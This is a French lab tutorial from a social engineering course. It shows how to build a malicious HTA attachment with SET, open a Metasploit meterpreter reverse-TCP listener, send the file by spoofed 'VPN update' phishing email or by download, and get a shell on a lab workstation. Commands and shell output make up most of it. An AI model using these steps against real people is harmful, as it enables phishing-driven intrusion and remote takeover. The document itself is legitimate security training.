Payload HTA#
TP du module Social Engineering : générer une pièce jointe HTA (HTML Application) avec SET, coupler un listener Metasploit, et obtenir un shell sur WS01 lorsque la victime ouvre le fichier.
Prérequis : lab et SMTP mail opérationnels — voir Get Started et Spear Phishing.
Important : le fichier HTA exécute du code sur la machine victime. Restaurer le snapshot WS01 après le TP.
1. Rappel — pourquoi le vecteur HTA ?#
| Concept | Détail |
|---|---|
| HTA | Fichier .hta exécuté par mshta.exe — traité comme une application locale, pas une page web |
| Intérêt | Contourne les anciens drive-by ; fonctionne encore en lab sur Windows 10/11 si l’utilisateur ouvre la pièce jointe |
| Vecteur SET | Website Attack Vectors → HTA Attack Method ou Spear-Phishing avec génération HTA |
| MITRE | T1204.002 — User Execution: Malicious File, T1059.005 — Visual Basic |
Les applets Java et exploits navigateur automatiques sont obsolètes ; le HTA reste un vecteur pédagogique pertinent pour illustrer « l’utilisateur a ouvert la pièce jointe ».
2. Préparer le listener Metasploit#
Terminal 1 — sur Kali :
msfconsole -quse exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.10
set LPORT 4444
set ExitOnSession false
run -jVérifier que le job écoute :
jobs3. Générer le payload HTA avec SET#
Terminal 2 — sur Kali :
sudo setoolkit1) Social-Engineering Attacks
2) Website Attack Vectors
7) HTA Attack Method(Le numéro du menu HTA peut varier selon la version SET — chercher « HTA » dans la liste.)
| Invite | Valeur |
|---|---|
| IP du listener | 192.168.56.10 |
| Port du listener | 4444 |
| Nom du fichier généré | VPN_Update.hta (défaut ou personnalisé) |
SET place le fichier dans son répertoire de sortie (souvent /root/.set/ ou chemin affiché à l’écran).
sudo ls -la /root/.set/
sudo cp /root/.set/VPN_Update.hta /tmp/VPN_Update.hta
sudo chmod 644 /tmp/VPN_Update.htaServir le fichier pour téléchargement ou pièce jointe :
cd /tmp && python3 -m http.server 88884. Livrer le HTA à la victime#
Option A — Pièce jointe email (spear phishing)#
Avec swaks et Mailpit :
swaks --to user1@labcorp.local \
--from it-support@labcorp.local \
--server 192.168.56.10 --port 1025 \
--header "Subject: Mise à jour VPN — action requise" \
--body "Veuillez exécuter la mise à jour jointe sur votre poste." \
--attach /tmp/VPN_Update.htaOption B — Téléchargement manuel (TP simplifié)#
Sur WS01, ouvrir Edge et télécharger :
http://192.168.56.10:8888/VPN_Update.hta5. Exécution côté victime#
- Sur WS01, ouvrir le fichier
VPN_Update.hta(double-clic — comportement victime simulé) - Une invite ou une fenêtre peut s’afficher brièvement
- Sur Kali, vérifier la session Metasploit :
sessions -l
sessions -i 1Dans le meterpreter :
getuid
sysinfoPreuve de succès :
Server username: WS01\user1
OS : Windows 10/11 ...6. Dépannage#
| Problème | Piste |
|---|---|
| Pas de session | Vérifier LHOST = IP host-only, pas NAT ; pare-feu WS01 désactivé |
| Fichier bloqué | Télécharger via HTTP plutôt qu’en pièce jointe ; SmartScreen désactivé en lab |
| Port 4444 fermé | ss -tlnp | grep 4444 sur Kali |
| HTA non généré | Mettre à jour SET : sudo apt update && sudo apt install --reinstall set |
7. Grille de TP#
| # | Tâche | Critère de réussite |
|---|---|---|
| 1 | Listener Metasploit actif | jobs affiche le handler |
| 2 | Générer le HTA via SET | Fichier .hta présent |
| 3 | Livrer le fichier à WS01 | Email ou téléchargement documenté |
| 4 | Obtenir une session | sessions -l non vide |
| 5 | Proposer 2 mitigations | Blocage HTA (ASR), formation pièces jointes, EDR, macro/LOLBins |
8. Suite de la démarche#
Phase actuelle : Payload HTA — exécution de code via pièce jointe.
[✓] Mise en place → [✓] Harvester → [✓] Spear Phishing → [✓] HTA → [●] QR → [ ] RapportÉtape suivante : QR Code / Smishing — même harvester ou payload, livré via un QR code.
Références :